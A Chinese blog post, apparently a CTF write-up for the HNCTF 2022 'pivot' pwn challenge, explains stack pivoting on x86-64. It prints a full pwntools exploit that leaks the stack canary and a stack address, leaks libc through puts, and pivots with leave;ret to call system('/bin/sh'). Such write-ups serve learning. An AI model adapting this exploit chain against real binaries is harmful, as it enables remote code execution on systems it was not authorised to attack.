首页 > 其他分享 >【pwn】[HNCTF 2022 WEEK2]pivot --栈迁移

【pwn】[HNCTF 2022 WEEK2]pivot --栈迁移

时间:2023-11-16 10:47:19浏览次数:50  
标签:puts p64 HNCTF -- io payload2 payload3 2022 addr

栈迁移的利用的过程不是很复杂,原理方面是比较麻烦:
栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)

这里简述一下栈迁移的利用过程:

我们先来看一下这道题的程序保护情况:

开了canary,接着看代码逻辑

这里的printf("Hello, %s\n", buf);可以发现是可以泄露栈上的内容然后进入vuln函数看看

这里buf偏移是0x110,经典栈迁移了,先放上exp:

from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') io=remote("node5.anna.nssctf.cn",28065) #io=process("./pwn") elf=ELF("./pwn") #libc=ELF("./libc-2.27.so") main_addr=0x4010D0 leave_ret=0x401213 rdi=0x401343 payload=b'a'*0x29 io.recvuntil(b"Name:\n") io.send(payload) io.recvuntil(b'a'*0x29) canary=u64(io.recv(7).rjust(8,b'\x00')) print(hex(canary)) get_stack_addr=b'a'*0x108+p64(canary)+b'a'*0x8+p64(main_addr)#在vuln函数这边控制回到main函数 io.send(get_stack_addr) payload4=b'a'*0x48 io.recvuntil(b"Name:\n") io.send(payload4) io.recvuntil(b'a'*0x48) stack_addr=u64(io.recv(6).ljust(8,b'\x00')) print(hex(stack_addr)) new_addr=stack_addr-0x268 #通过泄露的栈地址定位到我们输入字符串的位置
#开始构造新栈,泄露libc puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] vuln_addr=elf.symbols['vuln'] payload2=b'a'*0x8 payload2+=p64(rdi) payload2+=p64(puts_got) payload2+=p64(puts_plt) payload2+=p64(vuln_addr) payload2=payload2.ljust(0x108,b'\x00') payload2+=p64(canary) payload2+=p64(new_addr) payload2+=p64(leave_ret) io.send(payload2) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #获取到puts函数的地址 print("puts_addr-->"+hex(puts_addr)) libc=LibcSearcher("puts",puts_addr) base=puts_addr-libc.dump("puts") system_addr=base+libc.dump("system") #base=puts_addr-libc.sys['puts'] #system_addr=base+libc.sys['system']
payload3=b'a'*0x8 payload3+=p64(rdi) payload3+=p64(new_addr+0x20) payload3+=p64(system_addr) payload3+=b"/bin/sh\x00" payload3=payload3.ljust(0x108,b'\x00') payload3+=p64(canary) payload3+=p64(new_addr) payload3+=p64(leave_ret)
io.send(payload3)
io.interactive() 这里来介绍一下思路,首先栈迁移就是得有能泄露栈地址的地方,上面代码是符合泄露栈地址的条件,然后利用栈地址,可以控制到我们输入字符串的地方,这道题还要绕canary,这边不过多介绍,注意看栈迁移的部分 payload3=b'a'*0x8 payload3+=p64(rdi) payload3+=p64(new_addr+0x20) payload3+=p64(system_addr) payload3+=b"/bin/sh\x00" payload3=payload3.ljust(0x108,b'\x00') payload3+=p64(canary) payload3+=p64(new_addr) payload3+=p64(leave_ret),

 题目泄露的栈地址的位置,其实是需要gdb动态调试一下才能确定的    可以发现,main函数的rbp下面是存有栈地址,通过printf函数打印出来,就可以获得栈地址,然后上面脚本一般都是这样,执行后代码会从p64(rdi)开始执行,上面的b'a'*8只是为了满足条件,脚本的最后一行基本意思固定的,找到leave_ret的gadget就行

标签:puts,p64,HNCTF,--,io,payload2,payload3,2022,addr
From: https://www.cnblogs.com/GGbomb/p/17835677.html

相关文章

  • 括号匹配问题
    题目括号生成数字n 代表生成括号的对数,请你设计一个函数,用于能够生成所有可能的并且有效的括号组合。示例1:输入:n=3输出:["((()))","(()())","(())()","()(())","()()()"]示例2:输入:n=1输出:["()"]提示:1<=n<=8答案classSolution{public......
  • 打印表格图片发黑,如何处理
    先创建一个WORD空白页,插入要打印的图片将布局设为【浮于文字上方】图片设置......
  • Vue中Pinia简介
    Pinia是一个进行vue状态管理的组件,他会创建一个带有state、actions、getters的option对象constuseCounterStore=defineStore('counter',{state:()=>({count:0}),getters:{double:(state)=>state.count*2},actions:{increment(){......
  • 机器学习-小样本情况下如何机器学习
    交叉验证是在机器学习建立模型和验证模型参数时常用的办法。交叉验证,顾名思义,就是重复的使用数据,把得到的样本数据进行切分,组合为不同的训练集和测试集,用训练集来训练模型,用测试集来评估模型预测的好坏。在此基础上可以得到多组不同的训练集和测试集,某次训练集中的某样本在下次可......
  • 掌握终端基础技巧:Linux下的文件和目录复制操作
    1.cp命令:在Linux中,cp命令用于复制文件和目录。基本语法如下:cp[选项]源文件目标文件其中,源文件是要复制的文件名,目标文件是复制后的新文件名或路径。2.复制单个文件:要复制单个文件,只需指定源文件和目标路径即可。例如,将文件file.txt复制到目录path下:cpfile.......
  • 判断一个字符串中出现次数最多的字符,统计这个次数
    varstr="stiabsstringapbs";varobj={};for(vari=0;i<str.length;i++){varkey=str[i];if(!obj[key]){obj[key]=1;}else{obj[key]++;......
  • NCCL下载及安装教程
    1、查看cuda版本whichcuda12、在确定cuda版本之后,注册并登录英伟达官网,查找指定cuda版本的NCCL软件;管网链接:https://developer.nvidia.com/nccl/nccl-legacy-downloads指定版本为:不确定系统,本地安装 3、下载到本地之后,压缩包文件名为:nccl_2.6.4-1+cuda10.0_ppc64le.txz解......
  • 理解技术和业务的共同目标
    昨天更新了一篇关于稳定性保障的文章,我在文末写了这样一句:遇上降本增效,或者换一个重业务轻技术的领导上台,技术团队就是第一个被砍的。毕竟在国内这种环境,哪儿来的技术导向和工程师文化,不都是营销为王和短期利润为重。有同学提了一个疑问,技术和业务,到底哪个重要?毕竟绝大多数公......
  • HTTP和HTTPS区别
    1、HTTP是明文传输,不安全。HTTPS是加密传输,更安全,有效防止数据被第三方篡改,但是双方加解密也带来了更多的资源消耗。2、HTTP标准端口是80,HTTPS标准端口是443.3、HTTP不用认证证书,HTTPS需要认证证书(要钱)4、连接方式不同,HTTP三次握手,HTTPSLTS1.2版本7次,HTTPSLTS1.3版本6次。......
  • 【随手记】解析 JSON 中的 Null 值遇到的问题
    在Java中解析JSON字符串时,不同的库会对JSON中的null值有不同的处理方式。本文探讨阿里巴巴的JSONObject和net.sf.json.JSONObject在处理null值时的差异。阿里巴巴的JSONObject阿里巴巴的JSONObject.parseObject方法,在解析JSON字符串时,会将JSON中的null......